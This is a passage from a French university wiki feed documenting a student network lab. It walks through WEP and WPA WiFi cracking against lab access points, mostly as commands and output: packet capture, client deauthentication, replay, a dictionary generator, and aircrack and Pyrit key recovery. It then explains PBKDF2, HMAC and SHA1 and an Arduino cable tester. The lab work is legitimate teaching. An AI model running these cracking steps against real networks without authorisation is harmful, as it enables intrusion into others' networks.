 00:23:5E:1E:05:41  -56        3        0    0   7  54e. WEP  WEP         cracotte02                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:45  -57        3       22    0   7  54e. WEP  WEP         cracotte06                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:44  -56        2       19    0   7  54e. WEP  WEP         cracotte05                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:47  -55        3       42    0   7  54e. WEP  WEP         cracotte08                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:46  -55        1       67    0   7  54e. WEP  WEP         cracotte07                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:42  -56        2       67    0   7  54e. WEP  WEP         cracotte03                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:40  -57        2       98    0   7  54e. WEP  WEP         cracotte01                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:43  -58        4       99    0   7  54e. WEP  WEP         cracotte04                                                                                                           &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                                            &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 04:DA:D2:CF:01:90  48:5A:3F:4C:37:61   -1    1e- 0      0        2                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:45  00:0F:B5:92:23:74  -64   54e-48e     2       21                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:44  00:0F:B5:92:23:6B  -65   48e- 2e    89        9                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:47  00:0F:B5:92:23:71  -67   54e-54e    39       37                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:46  00:0F:B5:92:23:69  -63   48e-54e     6       63                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:42  00:0F:B5:92:23:6A  -60   48e-54e     9       59                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:40  00:0F:B5:92:22:68  -55   36e-48e     9       94                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:43  00:0F:B5:92:23:75  -58   48e- 2e   145       93&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre cible étant le réseau &amp;quot;cracotte07&amp;quot;, nous spécifions donc le canal et l'ESSID&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon&lt;br /&gt;
CH  7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03                                         &lt;br /&gt;
&lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
 00:23:5E:1E:05:46  -64  17     1603    46339  201   7  54e. WEP  WEP         cracotte07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 110082 packets.&lt;br /&gt;
&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:23:5E:1E:05:46  cracotte07                WEP (6190 IVs)&lt;br /&gt;
&lt;br /&gt;
Choosing first network as target.&lt;br /&gt;
&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Attack will be restarted every 5000 captured ivs.&lt;br /&gt;
Starting PTW attack with 6258 ivs.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous générons plus de flux à l'aide de aireplay.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aireplay-ng -5 -e cracotte07 wlan3mon&lt;br /&gt;
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)&lt;br /&gt;
12:02:11  Waiting for beacon frame (ESSID: cracotte07) on channel 7&lt;br /&gt;
Found BSSID &amp;quot;00:23:5E:1E:05:46&amp;quot; to given ESSID &amp;quot;cracotte07&amp;quot;.&lt;br /&gt;
12:02:11  Waiting for a data packet...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        Size: 70, FromDS: 0, ToDS: 1 (WEP)&lt;br /&gt;
&lt;br /&gt;
              BSSID  =  00:23:5E:1E:05:46&lt;br /&gt;
          Dest. MAC  =  FF:FF:FF:FF:FF:FF&lt;br /&gt;
         Source MAC  =  00:0F:B5:92:23:69&lt;br /&gt;
&lt;br /&gt;
        0x0000:  8841 2c00 0023 5e1e 0546 000f b592 2369  .A,..#^..F....#i&lt;br /&gt;
        0x0010:  ffff ffff ffff c014 0000 f898 0e00 8065  ...............e&lt;br /&gt;
        0x0020:  7e87 af6b e679 211e c9d6 1665 0b4f 7e2d  ~..k.y!....e.O~-&lt;br /&gt;
        0x0030:  6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35  l.-...?..1S./..5&lt;br /&gt;
        0x0040:  b7bd 03c5 5093                           ....P.&lt;br /&gt;
&lt;br /&gt;
Use this packet ? y&lt;br /&gt;
&lt;br /&gt;
Saving chosen packet in replay_src-1112-120211.cap&lt;br /&gt;
12:02:13  Data packet found!&lt;br /&gt;
12:02:13  Sending fragmented packet&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et enfin, aircrack trouve la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
                                                                                            Aircrack-ng 1.2 rc2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                            [00:02:12] Tested 853 keys (got 40800 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  9   55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568) &lt;br /&gt;
    1    0/  1   52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592) &lt;br /&gt;
    2    0/  1   55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824) &lt;br /&gt;
    3   13/  3   79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800) &lt;br /&gt;
    4    1/  4   CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824) &lt;br /&gt;
&lt;br /&gt;
     KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==== Accès par filtrage WPA ====&lt;br /&gt;
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
my $ite = 0;&lt;br /&gt;
my $max = 1000000;&lt;br /&gt;
my $outp;&lt;br /&gt;
my $tmp;&lt;br /&gt;
for (my $j=0; $j &amp;lt; 100; $j++)&lt;br /&gt;
{&lt;br /&gt;
    $tmp = sprintf(&amp;quot;[%02d]\n&amp;quot;, $j);                                                                                                                                                               &lt;br /&gt;
    print STDERR $tmp;&lt;br /&gt;
    for (my $i=0; $i &amp;lt; ($max); $i++)&lt;br /&gt;
    {&lt;br /&gt;
        $outp = sprintf(&amp;quot;%08d\n&amp;quot;, $ite);&lt;br /&gt;
        $ite++;&lt;br /&gt;
        print $outp;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous lançons donc la génération avec la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ./gen.pl &amp;gt; dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
859M -rw-r--r-- 1 root root 859M nov.  13 09:41 dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau &amp;quot;Almost Secure WiFi&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# airodump-ng --channel 6 --essid &amp;quot;Almost Secure WiFI&amp;quot; -w dmp wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis, nous désauthentifions les clients déjà connectés pour récupérer le &amp;quot;handshake&amp;quot; qui permettra le décryptage de la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aireplay-ng -0 5 -e &amp;quot;Almost Secure WiFI&amp;quot; wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois la désauthentification envoyée, nous récupérons le &amp;quot;handshake&amp;quot; durant la reconnection des clients.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 2370 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:13:46:79:6A:1C  Almost Secure WiFI        WPA (1 handshake)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Attaque par dictionnaire=====&lt;br /&gt;
A partir du moment où nous disposons du &amp;quot;handshake&amp;quot;, deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng -w dico.txt *.cap&lt;br /&gt;
                                 Aircrack-ng 1.2 beta3&lt;br /&gt;
                   [00:58:30] 12121212 keys tested (3659.24 k/s)&lt;br /&gt;
                           KEY FOUND! [ 12121212 ]&lt;br /&gt;
      Master Key     : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62&lt;br /&gt;
                       F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45&lt;br /&gt;
      Transient Key  : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF&lt;br /&gt;
                       68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8&lt;br /&gt;
                       45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28&lt;br /&gt;
                       A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E&lt;br /&gt;
      EAPOL HMAC     : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.&lt;br /&gt;
=====Attaque par Rainbow Tables=====&lt;br /&gt;
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une &amp;quot;rainbow table&amp;quot; est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -e 'Almost Secure WiFI' create_essid&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Created ESSID 'Almost Secure WiFI'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la &amp;quot;rainbow table&amp;quot;. On remarqera que cette étape prend entre 5 à 10 secondes.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -i ./dic.txt import_passwords&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
100000000 lines read. Flushing buffers... ..&lt;br /&gt;
All done.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, nous devons générer la &amp;quot;rainbow table&amp;quot;. Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit benchmark&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Running benchmark (25147.5 PMKs/s)... \&lt;br /&gt;
&lt;br /&gt;
Computed 25147.53 PMKs/s total.&lt;br /&gt;
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)&lt;br /&gt;
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)&lt;br /&gt;
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)&lt;br /&gt;
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la &amp;quot;rainbow table&amp;quot; qui prendra environ une heure.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que la &amp;quot;rainbow table&amp;quot; est générée, nous lançons l'attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -r *.cap attack_batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Parsing file 'dmp-01.cap' (1/1)...&lt;br /&gt;
Parsed 270 packets (270 802.11-packets), got 1 AP(s)&lt;br /&gt;
&lt;br /&gt;
Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.&lt;br /&gt;
Attacking handshake with station 00:0c:e7:41:68:29&lt;br /&gt;
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second&lt;br /&gt;
&lt;br /&gt;
The password is '12121212'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par &amp;quot;rainbow tables&amp;quot; est donc largement plus performante.&lt;br /&gt;
&lt;br /&gt;
=====Algorithme de génération de PMK=====&lt;br /&gt;
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:&lt;br /&gt;
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)&lt;br /&gt;
*[PASSWORD] Le mot de passe&lt;br /&gt;
*[SALT] Le salage  (ici l'ESSID)&lt;br /&gt;
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)&lt;br /&gt;
*[LEN] La longueur du résultat de la fonction (ici 256)&lt;br /&gt;
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Où les &amp;quot;Un&amp;quot; sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))&lt;br /&gt;
U2 = PRF(PASSWORD, U1)&lt;br /&gt;
...&lt;br /&gt;
Uc = PRF(PASSWORD, Ucount-1)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:&lt;br /&gt;
*[KEY] la clé utilisée pour encoder le message&lt;br /&gt;
*[MSG] le message à encoder&lt;br /&gt;
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)&lt;br /&gt;
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)&lt;br /&gt;
Le principe de fonctionnement est le suivant:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function HMAC(KEY, MSG, H, HLEN)&lt;br /&gt;
    if(length(KEY) &amp;gt; HLEN)&lt;br /&gt;
        KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H&lt;br /&gt;
    if(length(KEY) &amp;lt; HLEN)&lt;br /&gt;
        KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))&lt;br /&gt;
&lt;br /&gt;
    opad_key = (opad * HLEN) ^ KEY;&lt;br /&gt;
    ipad_key = (ipad * HLEN) ^ KEY;&lt;br /&gt;
&lt;br /&gt;
    return H(opad_key || H(ipad_key || MSG)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans cette fonction:&lt;br /&gt;
*L'opérateur || désigne la concaténation directe tel que &amp;quot;J'aime le&amp;quot;||&amp;quot; poulet&amp;quot; est égale à &amp;quot;J'aime le poulet&amp;quot;&lt;br /&gt;
*L'opérateur * désigne la répétition de l'élément tel que &amp;quot;J&amp;quot;*4 est égale à &amp;quot;JJJJ&amp;quot;&lt;br /&gt;
*L'opérateur ^ désigne l'opérateur XOR logique&lt;br /&gt;
*La variable opad est une constance valant 0x5C&lt;br /&gt;
*La variable ipad est une constance valant 0x36&lt;br /&gt;
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function SHA1(PASS)&lt;br /&gt;
    h0 = 0x67452301&lt;br /&gt;
    h1 = 0xEFCDAB89&lt;br /&gt;
    h2 = 0x98BADCFE&lt;br /&gt;
    h3 = 0x10325476&lt;br /&gt;
    h4 = 0xC3D2E1F0&lt;br /&gt;
    ml = message length in bits (always a multiple of the number of bits in a character).&lt;br /&gt;
&lt;br /&gt;
    append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.&lt;br /&gt;
    append 0 ≤ k &amp;lt; 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)&lt;br /&gt;
    append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.&lt;br /&gt;
&lt;br /&gt;
    break message into 512-bit chunks&lt;br /&gt;
    for each chunk&lt;br /&gt;
        break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15&lt;br /&gt;
&lt;br /&gt;
        //Extend the sixteen 32-bit words into eighty 32-bit words:&lt;br /&gt;
        for i from 16 to 79&lt;br /&gt;
            w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1&lt;br /&gt;
&lt;br /&gt;
        //Initialize hash value for this chunk:&lt;br /&gt;
        a = h0&lt;br /&gt;
        b = h1&lt;br /&gt;
        c = h2&lt;br /&gt;
        d = h3&lt;br /&gt;
        e = h4&lt;br /&gt;
&lt;br /&gt;
        //Main loop&lt;br /&gt;
        for i from 0 to 79&lt;br /&gt;
            if 0 ≤ i ≤ 19 then&lt;br /&gt;
                f = (b and c) or ((not b) and d)&lt;br /&gt;
                k = 0x5A827999&lt;br /&gt;
            else if 20 ≤ i ≤ 39&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0x6ED9EBA1&lt;br /&gt;
            else if 40 ≤ i ≤ 59&lt;br /&gt;
                f = (b and c) or (b and d) or (c and d) &lt;br /&gt;
                k = 0x8F1BBCDC&lt;br /&gt;
            else if 60 ≤ i ≤ 79&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0xCA62C1D6&lt;br /&gt;
&lt;br /&gt;
            temp = (a leftrotate 5) + f + e + k + w[i]&lt;br /&gt;
            e = d&lt;br /&gt;
            d = c&lt;br /&gt;
            c = b leftrotate 30&lt;br /&gt;
            b = a&lt;br /&gt;
            a = temp&lt;br /&gt;
&lt;br /&gt;
            //Add this chunk's hash to result so far:&lt;br /&gt;
            h0 = h0 + a&lt;br /&gt;
            h1 = h1 + b &lt;br /&gt;
            h2 = h2 + c&lt;br /&gt;
            h3 = h3 + d&lt;br /&gt;
            h4 = h4 + e&lt;br /&gt;
&lt;br /&gt;
            //Produce the final hash value (big-endian) as a 160 bit number:&lt;br /&gt;
            hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== La partie bonus ==&lt;br /&gt;
&lt;br /&gt;
Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un CiscoChecker permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation de l'écran LCD ===&lt;br /&gt;
&lt;br /&gt;
Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.&lt;br /&gt;
&lt;br /&gt;
Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX.&lt;br /&gt;
&lt;br /&gt;
Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.&lt;br /&gt;
&lt;br /&gt;
Voici à quoi ressemble une de nos lettres :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
const char	letter_A[] PROGMEM = {&lt;br /&gt;
	0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,&lt;br /&gt;
	0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,&lt;br /&gt;
	0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,&lt;br /&gt;
	0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.&lt;br /&gt;
&lt;br /&gt;
Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.&lt;br /&gt;
&lt;br /&gt;
=== Communication avec le matériel Cisco ===&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir tester le réseau notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=23050</id>
		<title>PRA 2015 - Câblage d'un réseau redondant</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=23050"/>
				<updated>2015-11-19T12:49:25Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.&lt;br /&gt;
== Câblage du résau ==&lt;br /&gt;
=== Le réseau idéal ===&lt;br /&gt;
